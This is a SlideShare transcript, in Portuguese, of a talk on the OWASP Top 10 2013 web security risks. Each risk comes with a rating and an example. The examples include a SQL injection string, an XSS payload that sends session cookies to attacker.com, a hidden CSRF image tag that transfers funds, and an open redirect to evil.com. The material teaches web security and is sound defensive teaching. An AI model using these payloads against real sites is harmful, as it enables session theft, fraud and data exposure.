SlideShare uma empresa Scribd logo
Segurança em aplicações web
bit.ly/owasp-fisl14
1
Segurança em
Aplicações Web
conforme
Fabiano Castro Pereira – fabianocp@gmail.com
Apresentação disponível em http://bit.ly/owasp-fisl14
Segurança em aplicações web
bit.ly/owasp-fisl14
2
OWASP – Open Web Application Security Project
Comunidade aberta – www.owasp.org
Ajudar a desenvolver/comprar/manter software seguro:
Ferramentas e padrões abertos
Livros gratuitos: desenvolvimento/testes/revisão seguros
Bibliotecas e controles de segurança
Realização de eventos
Listas de e-mail
Sem pressões comerciais
Fundação OWASP
Segurança em aplicações web
bit.ly/owasp-fisl14
3
OWASP - Projeto Top 10
Objetivo
Problemas relativamente simples são intoleráveis
Alertar sobre segurança de aplicativos web
Apresentar os riscos críticos (entenda-se $$$) mais comuns
Versões
2003 (pequenas atualizações em 2004 e 2007)
2010 (priorização feita de acordo com riscos)
2013 (versão final liberada 12 de junho)
Mobile Security Project (em desenvolvimento)
Segurança em aplicações web
bit.ly/owasp-fisl14
4
OWASP - Projeto Top 10
Atenção!!!
OWASP Top 10 não é checklist
É apenas o começo, é preciso criar um programa amplo para
implantar uma cultura de segurança nas aplicações
Think as an abuser!!! (pense como um aproveitador)
Oportunidades
Aprender com os erros dos outros
Executivos: gerenciem os riscos inerentes às aplicações
owasp-topten@lists.owasp.org
Segurança em aplicações web
bit.ly/owasp-fisl14
5
Projeto Top 10 - Números
Baseado em 8 datasets de 7 empresas especializadas
4 empresas de consultoria em segurança
3 empresas que produzem ferramentas de segurança
Totalizando 500.000 registros de vulnerabilidades em
Centenas de organizações
Milhares de aplicações
Escolha do Top 10
Selecionados e priorizados via avaliação destes milhares de
dados, e a partir de estimativas obtidas via consenso
Segurança em aplicações web
bit.ly/owasp-fisl14
6
Riscos de Segurança para Aplicações
Segurança em aplicações web
bit.ly/owasp-fisl14
7
Riscos de Segurança para Aplicações
OWASP Risk Rating Methodology – Elementos do risco
Agentes de ameaça
Depende da aplicação, cada organização deve avaliar e
identificar os agentes que podem lhe oferecer ameaça
Explorabilidade: Fácil / Média / Difícil
Qual é a facilidade de se explorar a fraqueza associada a
determinado risco?
Prevalência: Largamente difundida / Comum / Incomum
É comum encontrar a fraqueza associada ao risco?
Segurança em aplicações web
bit.ly/owasp-fisl14
8
Riscos de Segurança para Aplicações
OWASP Risk Rating Methodology – Elementos do risco
Detectabilidade: Fácil / Média / Difícil
É fácil detectar a fraqueza associada ao risco?
Impactos técnicos: Grave / Moderado / Menor
Qual o impacto técnico caso a fraqueza associada a
determinado risco seja explorada?
Impactos no negócio
Depende da aplicação e do negócio da organização, que deve
avaliar e identificar os impactos
Segurança em aplicações web
bit.ly/owasp-fisl14
9
A1 - Injeção
Elementos do risco
Agente de ameaça
Qualquer um que possa enviar dados não confiáveis
Explorabilidade: Fácil
Ataque realizado com texto forjado de forma específica
Praticamente qualquer fonte de dados pode ser atacada
Prevalência: Comum
Encontrado em: consultas SQL, LDAP, Xpath, ou NoSQL;
comandos de SO; parsers XML, cabeçalhos SMTP, argumentos
de programas, etc.
Segurança em aplicações web
bit.ly/owasp-fisl14
10
A1 - Injeção
Elementos do risco
Detectabilidade: Média
Fácil de encontrar no código-fonte, mas difícil via teste
Ferramentas tipo Scanners e fuzzers ajudam os atacantes
Impacto: Grave
Pode resultar em: perda ou corrupção de dados; negação de
serviço; invasão total de um servidor.
Impactos no negócio
Como ficaria a reputação da empresa se todos de clientes
fossem roubados, modificados ou excluídos?
Segurança em aplicações web
bit.ly/owasp-fisl14
11
A1 - Injeção
Exemplo (SQL Injection)
Aplicação usa dados não confiáveis:
String query = "SELECT * FROM accounts WHERE
custID='" + request.getParameter("id") + "'";
Atacante modifica o parâmetro no browser
http://app.com/app/accountView?id=' or '1'='1
Segurança em aplicações web
bit.ly/owasp-fisl14
12
A2 - Falha de Autenticação e de
Gerenciamento de Sessão
Elementos do risco
Agente de ameaça
Qualquer um (anônimo ou possuidor de conta) que queira
acessar indevidamente uma conta de usuário na aplicação
Explorabilidade: Média
Ataque utiliza falhas nas funções (contas expostas, senhas, ID
de sessão) para se passar por determinado usuário
Prevalência: Largamente difundida
Encontrado em sistemas que construíram seus próprios
mecanismos de autenticação
Segurança em aplicações web
bit.ly/owasp-fisl14
13
A2 - Falha de Autenticação e de
Gerenciamento de Sessão
Elementos do risco
Detectabilidade: Média
Encontrar esta falha pode ser difícil, pois depende de uma
análise da implementação específica
Impacto: Grave
O atacante pode fazer tudo que a conta atacada tem
permissão para fazer
Impactos no negócio
Valor dos dados obtidos
Exposição pública da vulnerabilidade na organização
Segurança em aplicações web
bit.ly/owasp-fisl14
14
A2 - Falha de Autenticação e de
Gerenciamento de Sessão
Exemplo
http://example.com/sale/saleitems;jsessionid=
2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii
Se o link for enviado para alguém, a sessão completa do
estará indo junto, dando acesso a dados sensíveis
Segurança em aplicações web
bit.ly/owasp-fisl14
15
A3 - Injeção de scripts via outros sites
(Cross-Site Scripting - XSS)
Elementos do risco
Agente de ameaça
Qualquer um que possa enviar dados não confiáveis
Explorabilidade: Média
Ataque realizado com texto forjado de forma específica
Praticamente qualquer fonte de dados pode ser atacada
Prevalência: Muito largamente difundida
Ocorre quando se exibe em uma página dados fornecidos pelo
usuário, sem que se faça o correto tratamento
Segurança em aplicações web
bit.ly/owasp-fisl14
16
A3 - Injeção de scripts via outros sites
(Cross-Site Scripting - XSS)
Elementos do risco
Detectabilidade: Fácil
Falha pode ser encontrada via análise de código, ou via testes
Impacto: Moderado
Ataque pode executar scripts no navegador para: obter
sessões, manchar sites, instalar malware no navegador, etc.
Impactos no negócio
Valor dos dados obtidos
Exposição pública da vulnerabilidade na organização
Segurança em aplicações web
bit.ly/owasp-fisl14
17
A3 - Injeção de scripts via outros sites
(Cross-Site Scripting - XSS)
Exemplo
Aplicação usa dados não validados para construir a página:
(String) page += "<input name='creditcard' type='TEXT‘
value='" + request.getParameter("CC") + "'>";
Atacante modifica o parâmetro CC:
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
Segurança em aplicações web
bit.ly/owasp-fisl14
18
A4 - Referência direta e insegura para objeto
Elementos do risco
Agente de ameaça
Usuários que tem acesso parcial a dados do sistema
Explorabilidade: Fácil
Basta alterar um parâmetro que faça referência direta a um
objeto do sistema
Prevalência: Comum
Aplicações web geralmente usam nomes os identificadores
para fazer referência aos objetos
Falham em verificar a autorização do acesso
Segurança em aplicações web
bit.ly/owasp-fisl14
19
A4 - Referência direta e insegura para objeto
Elementos do risco
Detectabilidade: Fácil
Falha pode ser encontrada via análise de código, ou via testes
Impacto: Moderado
Comprometimento dos dados acessados pela referência
insegura, exceto se não houver como predizer os valores
Impactos no negócio
Valor dos dados obtidos
Exposição pública da vulnerabilidade na organização
Segurança em aplicações web
bit.ly/owasp-fisl14
20
A4 - Referência direta e insegura para objeto
Exemplo
Aplicação usa dados não validados para construir a página:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt =
connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
Atacante modifica o parâmetro acct:
http://example.com/app/accountInfo?acct=notmyacct
Segurança em aplicações web
bit.ly/owasp-fisl14
21
A5 - Configurações mal feitas de segurança
Elementos do risco
Agente de ameaça
Atacantes anônimos, autenticados, ou internos
Explorabilidade: Fácil
Contas padrão, páginas sem uso, falhas sem patch, arquivos e
diretórios desprotegidos, etc.
Prevalência: Comum
Pode ocorrer em vários níveis: plataforma, servidor web ou
aplicação, BD, framework, código customizado
Segurança em aplicações web
bit.ly/owasp-fisl14
22
A5 - Configurações mal feitas de segurança
Elementos do risco
Detectabilidade: Fácil
Podem ser encontradas com scanners automatizados
Impacto: Moderado
Acesso a dados e funcionalidades não autorizadas
Pode resultar em comprometimento total do sistema
Impactos no negócio
Dados roubados ou modificados
Recuperação pode ser muito custosa
Segurança em aplicações web
bit.ly/owasp-fisl14
23
A5 - Configurações mal feitas de segurança
Exemplos
Console administrativo do servidor de aplicação deixado com
usuário e senha padrão
Servidor web com listagem de diretório ativada
desnecessariamente
Exibição de stack traces no servidor de aplicação
Servidor de aplicação mantido com aplicativos de exemplo
Segurança em aplicações web
bit.ly/owasp-fisl14
24
A6 - Exposição de dados sensíveis
Elementos do risco
Agente de ameaça
Qualquer um com interesse nos dados, estejam eles no
servidor, sendo transmitidos, ou no navegador
Explorabilidade: Difícil
Atacantes não tentam quebrar criptografia, mas roubar
chaves, ou obter os dados diretamente do servidor
Prevalência: Incomum
Ocorrências: falta de criptografia, chaves fracas, chaves mal
gerenciadas, algoritmos de segurança obsoletos
Segurança em aplicações web
bit.ly/owasp-fisl14
25
A6 - Exposição de dados sensíveis
Elementos do risco
Detectabilidade: Média
Navegador: falha fácil de detectar, não de explorar (larga escala)
Falhas no servidor: difíceis de detectar devido ao acesso limitado
Impacto: Grave
Acesso a dados sensíveis: registros médicos, credenciais, dados pessoais,
cartões de crédito, etc.
Impactos no negócio
Quais são as penalidades legais aplicáveis à organização por ter exposto
estes dados (mesmo involuntariamente)?
Segurança em aplicações web
bit.ly/owasp-fisl14
26
A6 - Exposição de dados sensíveis
Exemplos de ações inadequadas
Usar criptografia automática do BD
Armazenamento feito de forma segura
Mas a leitura está sujeita à injeção de SQL
Esquecer de utilizar SSL para comunicação
Esquecer de “salgar” as senhas dos usuários
Salted password hashes
Segurança em aplicações web
bit.ly/owasp-fisl14
27
A7 - Ausência de controle de acesso
no nível de função
Elementos do risco
Agente de ameaça
Qualquer um com interesse nos dados
Explorabilidade: Fácil
Alterar URL ou parâmetro que dê acesso à funções privadas
(atacante anônimo) ou privilegiadas (atacante autenticado)
Prevalência: Comum
Geralmente falta controle de acesso, e quando existe, está
mal configurado, ou se esqueceu de colocá-lo no código
Segurança em aplicações web
bit.ly/owasp-fisl14
28
A7 - Ausência de controle de acesso
no nível de função
Elementos do risco
Detectabilidade: Média
A detecção é fácil, a parte mais difícil é identificar todas as
possíveis páginas (URLs) e funções atacáveis
Impacto: Moderado
Acesso a funções não autorizadas, principalmente se forem
funções administrativas
Impactos no negócio
Valor dos dados obtidos
Exposição pública da vulnerabilidade na organização
Segurança em aplicações web
bit.ly/owasp-fisl14
29
A7 - Ausência de controle de acesso
no nível de função
Exemplos
Função para usuário comum
http://example.com/app/getappInfo
Função para administradores
http://example.com/app/admin_getappInfo
Se não houver o controle de acesso, as funções
administrativas serão acessadas indevidamente
Segurança em aplicações web
bit.ly/owasp-fisl14
30
A8 - Requisições forjadas via outros sites
(Cross-Site Request Forgery - CSRF)
Elementos do risco
Agente de ameaça
Alguém que deseja forçar um usuário da aplicação a realizar
determinada ação que beneficie o atacante
Explorabilidade: Média
Atacante forja a requisição e engana o usuário, fazendo-o
enviá-la para a aplicação à partir de outro local
Prevalência: Comum
Sites que o atacante pode inferir os dados necessários
Navegadores enviam os cookies de sessão automaticamente
Segurança em aplicações web
bit.ly/owasp-fisl14
31
A8 - Requisições forjadas via outros sites
(Cross-Site Request Forgery - CSRF)
Elementos do risco
Detectabilidade: Fácil
A detecção é fácil, podendo ser feita tanto via testes de
intrusão, quanto via análise de código
Impacto: Moderado
Pode resultar em: alteração de contas, realização de compras,
e qualquer outra função existente na aplicação
Impactos no negócio
Imagine se não houver como ter certeza das ações do usuário
Usuários reclamando de operações que eles não realizaram
Segurança em aplicações web
bit.ly/owasp-fisl14
32
A8 - Requisições forjadas via outros sites
(Cross-Site Request Forgery - CSRF)
Exemplos
Funcionalidade normal disponível na aplicação:
http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243
Requisição forjada pelo atacante:
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#“
width="0" height="0" />
Segurança em aplicações web
bit.ly/owasp-fisl14
33
A9 - Uso de componentes
com vulnerabilidades conhecidas
Elementos do risco
Agente de ameaça
Interessados especificamente em determinada aplicação,
dispostos a gastar tempo investigando as possibilidades
Explorabilidade: Média
Atacante usa procedimento manual, ou ferramentas de scan
automático, para então customizar seu exploit
Prevalência: Largamente difundida
Muitos desenvolvedores não atualizam componentes, e às
vezes nem sabem quais que são utilizados
Segurança em aplicações web
bit.ly/owasp-fisl14
34
A9 - Uso de componentes
com vulnerabilidades conhecidas
Elementos do risco
Detectabilidade: Difícil
A detecção é difícil, pois envolve análise minuciosa
Dependência entre componentes só piora as coisas
Impacto: Moderado
Pode servir de ponto de entrada para as outras fraquezas
Impacto pode ir de zero até o comprometimento total
Impactos no negócio
Será de acordo com a fraqueza explorada
Segurança em aplicações web
bit.ly/owasp-fisl14
35
A9 - Uso de componentes
com vulnerabilidades conhecidas
Exemplos (com 22 milhões de downloads em 2011)
Apache CXF Authentication Bypass (CVE-2012-3451)
Framework de serviços web
Não fornecia token de identidade, permitindo a atacantes
executar qualquer serviço com total permissão
Spring Remote Code Execution (Infosecurity Magazine)
Problemas na implementação de Expression Language (EL)
Permitia execução de código arbitrário, chegando a
comprometer completamente o servidor
Segurança em aplicações web
bit.ly/owasp-fisl14
36
A10 - Redirecionamentos e
encaminhamentos não validados
Elementos do risco
Agente de ameaça
Alguém que deseja forçar um usuário da aplicação a realizar
determinada ação que beneficie o atacante
Explorabilidade: Média
Atacante cria um link válido, mas direto, sem antes passar
pelo redirecionamento ou encaminhamento necessário
Prevalência: Incomum
Destinos definidos via parâmetro sem validação
Segurança em aplicações web
bit.ly/owasp-fisl14
37
A10 - Redirecionamentos e
encaminhamentos não validados
Elementos do risco
Detectabilidade: Fácil
Redirecionamentos não validados são fáceis de se detectar,
porém os encaminhamentos são mais difíceis
Impacto: Moderado
Atacante pode: instalar malware, obter senhas ou outras
informações sensíveis, burlar controle de acesso
Impactos no negócio
Perda da confiança dos usuários
O que aconteceria se atacantes acessassem dados internos?
Segurança em aplicações web
bit.ly/owasp-fisl14
38
A10 - Redirecionamentos e
encaminhamentos não validados
Exemplos
Redirecionamento malicioso
http://www.example.com/redirect.jsp?url=evil.com
Encaminhamento malicioso
http://www.example.com/boring.jsp?fwd=admin.jsp
Segurança em aplicações web
bit.ly/owasp-fisl14
39
Tem mais coisa no Top 10
Ajuda
Como verificar se minha aplicação é vulnerável?
Como posso prevenir a ocorrência dos riscos?
Referências para mais informações
O que vem depois
Para desenvolvedores
Para verificadores (vai além de testes)
Para organizações
Segurança em aplicações web
bit.ly/owasp-fisl14
40
Fabiano Castro Pereira – fabianocp@gmail.com
Apresentação disponível em http://bit.ly/owasp-fisl14
Perguntas?

Mais conteúdo relacionado

Mais procurados

OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application Vulnerabilities
Software Guru
 
NOSQL uma breve introdução
NOSQL uma breve introduçãoNOSQL uma breve introdução
NOSQL uma breve introdução
Wise Systems
 
Detectando Vulnerabilidades em seu Site utilizando OWASP ZAP - Zed Attack Proxy
Detectando Vulnerabilidades em seu Site utilizando OWASP ZAP - Zed Attack ProxyDetectando Vulnerabilidades em seu Site utilizando OWASP ZAP - Zed Attack Proxy
Detectando Vulnerabilidades em seu Site utilizando OWASP ZAP - Zed Attack Proxy
Jeronimo Zucco
 
OWASP TOP 10 VULNERABILITIS
OWASP TOP 10 VULNERABILITISOWASP TOP 10 VULNERABILITIS
OWASP TOP 10 VULNERABILITIS
Null Bhubaneswar
 
SOA - Uma Breve Introdução
SOA - Uma Breve IntroduçãoSOA - Uma Breve Introdução
SOA - Uma Breve Introdução
André Borgonovo
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration Testing
Anurag Srivastava
 
Engenharia Requisitos
Engenharia RequisitosEngenharia Requisitos
Engenharia Requisitos
elliando dias
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
IBM AppScan - the total software security solution
IBM AppScan - the total software security solutionIBM AppScan - the total software security solution
IBM AppScan - the total software security solution
hearme limited company
 
XSS
XSSXSS
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
Clavis Segurança da Informação
 
CSV Injection by Ishaq Mohammed
CSV Injection by Ishaq MohammedCSV Injection by Ishaq Mohammed
CSV Injection by Ishaq Mohammed
Ishaq Mohammed
 
Questionario CTFL - Foundation Level
Questionario CTFL - Foundation LevelQuestionario CTFL - Foundation Level
Questionario CTFL - Foundation Level
Lucas Bonanno Casanova
 
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
Web uygulama açıklıklarından faydalanarak sistem ele geçirmeWeb uygulama açıklıklarından faydalanarak sistem ele geçirme
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
How to identify and prevent SQL injection
How to identify and prevent SQL injection  How to identify and prevent SQL injection
How to identify and prevent SQL injection
Eguardian Global Services
 
Mobil Pentest Eğitim Dökümanı
Mobil Pentest Eğitim DökümanıMobil Pentest Eğitim Dökümanı
Mobil Pentest Eğitim Dökümanı
Ahmet Gürel
 
Eng.ª do Software - 10. Testes de software
Eng.ª do Software - 10. Testes de softwareEng.ª do Software - 10. Testes de software
Eng.ª do Software - 10. Testes de software
Manuel Menezes de Sequeira
 
Web Application Security Testing
Web Application Security TestingWeb Application Security Testing
Web Application Security Testing
Marco Morana
 
Qualidade de software e sua influência no sucesso do projeto
Qualidade de software e sua influência no sucesso do projetoQualidade de software e sua influência no sucesso do projeto
Qualidade de software e sua influência no sucesso do projeto
Valquíria Duarte D'Amato
 
Desenhando Componentes de Software com UML
Desenhando Componentes de Software com UMLDesenhando Componentes de Software com UML
Desenhando Componentes de Software com UML
Rildo (@rildosan) Santos
 

Mais procurados (20)

OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application Vulnerabilities
 
NOSQL uma breve introdução
NOSQL uma breve introduçãoNOSQL uma breve introdução
NOSQL uma breve introdução
 
Detectando Vulnerabilidades em seu Site utilizando OWASP ZAP - Zed Attack Proxy
Detectando Vulnerabilidades em seu Site utilizando OWASP ZAP - Zed Attack ProxyDetectando Vulnerabilidades em seu Site utilizando OWASP ZAP - Zed Attack Proxy
Detectando Vulnerabilidades em seu Site utilizando OWASP ZAP - Zed Attack Proxy
 
OWASP TOP 10 VULNERABILITIS
OWASP TOP 10 VULNERABILITISOWASP TOP 10 VULNERABILITIS
OWASP TOP 10 VULNERABILITIS
 
SOA - Uma Breve Introdução
SOA - Uma Breve IntroduçãoSOA - Uma Breve Introdução
SOA - Uma Breve Introdução
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration Testing
 
Engenharia Requisitos
Engenharia RequisitosEngenharia Requisitos
Engenharia Requisitos
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
 
IBM AppScan - the total software security solution
IBM AppScan - the total software security solutionIBM AppScan - the total software security solution
IBM AppScan - the total software security solution
 
XSS
XSSXSS
XSS
 
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
 
CSV Injection by Ishaq Mohammed
CSV Injection by Ishaq MohammedCSV Injection by Ishaq Mohammed
CSV Injection by Ishaq Mohammed
 
Questionario CTFL - Foundation Level
Questionario CTFL - Foundation LevelQuestionario CTFL - Foundation Level
Questionario CTFL - Foundation Level
 
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
Web uygulama açıklıklarından faydalanarak sistem ele geçirmeWeb uygulama açıklıklarından faydalanarak sistem ele geçirme
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
 
How to identify and prevent SQL injection
How to identify and prevent SQL injection  How to identify and prevent SQL injection
How to identify and prevent SQL injection
 
Mobil Pentest Eğitim Dökümanı
Mobil Pentest Eğitim DökümanıMobil Pentest Eğitim Dökümanı
Mobil Pentest Eğitim Dökümanı
 
Eng.ª do Software - 10. Testes de software
Eng.ª do Software - 10. Testes de softwareEng.ª do Software - 10. Testes de software
Eng.ª do Software - 10. Testes de software
 
Web Application Security Testing
Web Application Security TestingWeb Application Security Testing
Web Application Security Testing
 
Qualidade de software e sua influência no sucesso do projeto
Qualidade de software e sua influência no sucesso do projetoQualidade de software e sua influência no sucesso do projeto
Qualidade de software e sua influência no sucesso do projeto
 
Desenhando Componentes de Software com UML
Desenhando Componentes de Software com UMLDesenhando Componentes de Software com UML
Desenhando Componentes de Software com UML
 

Destaque

ESTUDO E ANÁLISE DE VULNERABILIDADES WEB
ESTUDO E ANÁLISE DE VULNERABILIDADES WEBESTUDO E ANÁLISE DE VULNERABILIDADES WEB
ESTUDO E ANÁLISE DE VULNERABILIDADES WEB
Wagner
 
Testes de segurança em aplicações web
Testes de segurança em aplicações webTestes de segurança em aplicações web
Testes de segurança em aplicações web
Synergia - Engenharia de Software e Sistemas
 
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29
cadiego
 
Segurança em Aplicações Web
Segurança em Aplicações WebSegurança em Aplicações Web
Segurança em Aplicações Web
Cassio Ramos
 
Engenharia de Software II - Teste de segurança de software
Engenharia de Software  II - Teste de segurança de softwareEngenharia de Software  II - Teste de segurança de software
Engenharia de Software II - Teste de segurança de software
Juliano Padilha
 
Especificação formal de protocolos de Segurança
Especificação formal de protocolos de SegurançaEspecificação formal de protocolos de Segurança
Especificação formal de protocolos de Segurança
Fabian Martins
 
Aplicando técnicas de UX na reformulação de produtos.
Aplicando técnicas de UX na reformulação de produtos.Aplicando técnicas de UX na reformulação de produtos.
Aplicando técnicas de UX na reformulação de produtos.
Ana Cristine Veneziani
 
Experiência e Cases com Auditorias Teste de Invasão em Redes e Sistemas
Experiência e Cases com Auditorias Teste de Invasão em Redes e SistemasExperiência e Cases com Auditorias Teste de Invasão em Redes e Sistemas
Experiência e Cases com Auditorias Teste de Invasão em Redes e Sistemas
Clavis Segurança da Informação
 
Requisitos de Segurança
Requisitos de SegurançaRequisitos de Segurança
Requisitos de Segurança
OWASP Brasília
 
Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!
Gustavo Neves
 
Testes de segurança
Testes de segurançaTestes de segurança
Testes de segurança
Qualister
 
Apostila PHP5 + MySQL + AJAX
Apostila PHP5 + MySQL + AJAXApostila PHP5 + MySQL + AJAX
Apostila PHP5 + MySQL + AJAX
Daniel Brandão
 
Revisão Sistemática
Revisão SistemáticaRevisão Sistemática
Revisão Sistemática
Elizabete Munzlinger
 
Relatorio pesquisa de_campo
Relatorio pesquisa de_campoRelatorio pesquisa de_campo
Relatorio pesquisa de_campo
Pedro Henrique
 
Relatório do filme sicko
Relatório do filme sickoRelatório do filme sicko
Relatório do filme sicko
Alex Jonathan
 
Métodos e Técnicas de Pesquisa: O Estudo de Caso
Métodos e Técnicas de Pesquisa: O Estudo de CasoMétodos e Técnicas de Pesquisa: O Estudo de Caso
Métodos e Técnicas de Pesquisa: O Estudo de Caso
João Uchôa
 

Destaque (16)

ESTUDO E ANÁLISE DE VULNERABILIDADES WEB
ESTUDO E ANÁLISE DE VULNERABILIDADES WEBESTUDO E ANÁLISE DE VULNERABILIDADES WEB
ESTUDO E ANÁLISE DE VULNERABILIDADES WEB
 
Testes de segurança em aplicações web
Testes de segurança em aplicações webTestes de segurança em aplicações web
Testes de segurança em aplicações web
 
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29
 
Segurança em Aplicações Web
Segurança em Aplicações WebSegurança em Aplicações Web
Segurança em Aplicações Web
 
Engenharia de Software II - Teste de segurança de software
Engenharia de Software  II - Teste de segurança de softwareEngenharia de Software  II - Teste de segurança de software
Engenharia de Software II - Teste de segurança de software
 
Especificação formal de protocolos de Segurança
Especificação formal de protocolos de SegurançaEspecificação formal de protocolos de Segurança
Especificação formal de protocolos de Segurança
 
Aplicando técnicas de UX na reformulação de produtos.
Aplicando técnicas de UX na reformulação de produtos.Aplicando técnicas de UX na reformulação de produtos.
Aplicando técnicas de UX na reformulação de produtos.
 
Experiência e Cases com Auditorias Teste de Invasão em Redes e Sistemas
Experiência e Cases com Auditorias Teste de Invasão em Redes e SistemasExperiência e Cases com Auditorias Teste de Invasão em Redes e Sistemas
Experiência e Cases com Auditorias Teste de Invasão em Redes e Sistemas
 
Requisitos de Segurança
Requisitos de SegurançaRequisitos de Segurança
Requisitos de Segurança
 
Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!
 
Testes de segurança
Testes de segurançaTestes de segurança
Testes de segurança
 
Apostila PHP5 + MySQL + AJAX
Apostila PHP5 + MySQL + AJAXApostila PHP5 + MySQL + AJAX
Apostila PHP5 + MySQL + AJAX
 
Revisão Sistemática
Revisão SistemáticaRevisão Sistemática
Revisão Sistemática
 
Relatorio pesquisa de_campo
Relatorio pesquisa de_campoRelatorio pesquisa de_campo
Relatorio pesquisa de_campo
 
Relatório do filme sicko
Relatório do filme sickoRelatório do filme sicko
Relatório do filme sicko
 
Métodos e Técnicas de Pesquisa: O Estudo de Caso
Métodos e Técnicas de Pesquisa: O Estudo de CasoMétodos e Técnicas de Pesquisa: O Estudo de Caso
Métodos e Técnicas de Pesquisa: O Estudo de Caso
 

Semelhante a Segurança em Aplicações Web conforme OWASP

Seguranca web Testday2012
Seguranca web Testday2012Seguranca web Testday2012
Seguranca web Testday2012
Marcio Cunha
 
Workshop - Testes de Segurança
Workshop - Testes de SegurançaWorkshop - Testes de Segurança
Workshop - Testes de Segurança
Alan Carlos
 
Antar ferreira
Antar ferreiraAntar ferreira
Antar ferreira
Antar Ferreira
 
Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?
Alex Hübner
 
Vulnerabilidades Comuns em Aplicações Web - RoadSec 2023 EMERSON EDUARDO RODR...
Vulnerabilidades Comuns em Aplicações Web - RoadSec 2023 EMERSON EDUARDO RODR...Vulnerabilidades Comuns em Aplicações Web - RoadSec 2023 EMERSON EDUARDO RODR...
Vulnerabilidades Comuns em Aplicações Web - RoadSec 2023 EMERSON EDUARDO RODR...
EMERSON EDUARDO RODRIGUES
 
Gerenciamento de Vulnerabilidades em Aplicações e Servidores Web
Gerenciamento de Vulnerabilidades em Aplicações e Servidores WebGerenciamento de Vulnerabilidades em Aplicações e Servidores Web
Gerenciamento de Vulnerabilidades em Aplicações e Servidores Web
Eduardo Lanna
 
Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali LinuxComo analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Edlaine Zamora
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Rubens Guimarães - MTAC MVP
 
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Luiz Vieira .´. CISSP, OSCE, GXPN, CEH
 
Segurança na web
Segurança na webSegurança na web
Segurança na web
Kaito Queiroz
 
Segurança na web
Segurança na webSegurança na web
Segurança na web
Kaito Queiroz
 
Java security
Java securityJava security
Java security
armeniocardoso
 
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
Magno Logan
 
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
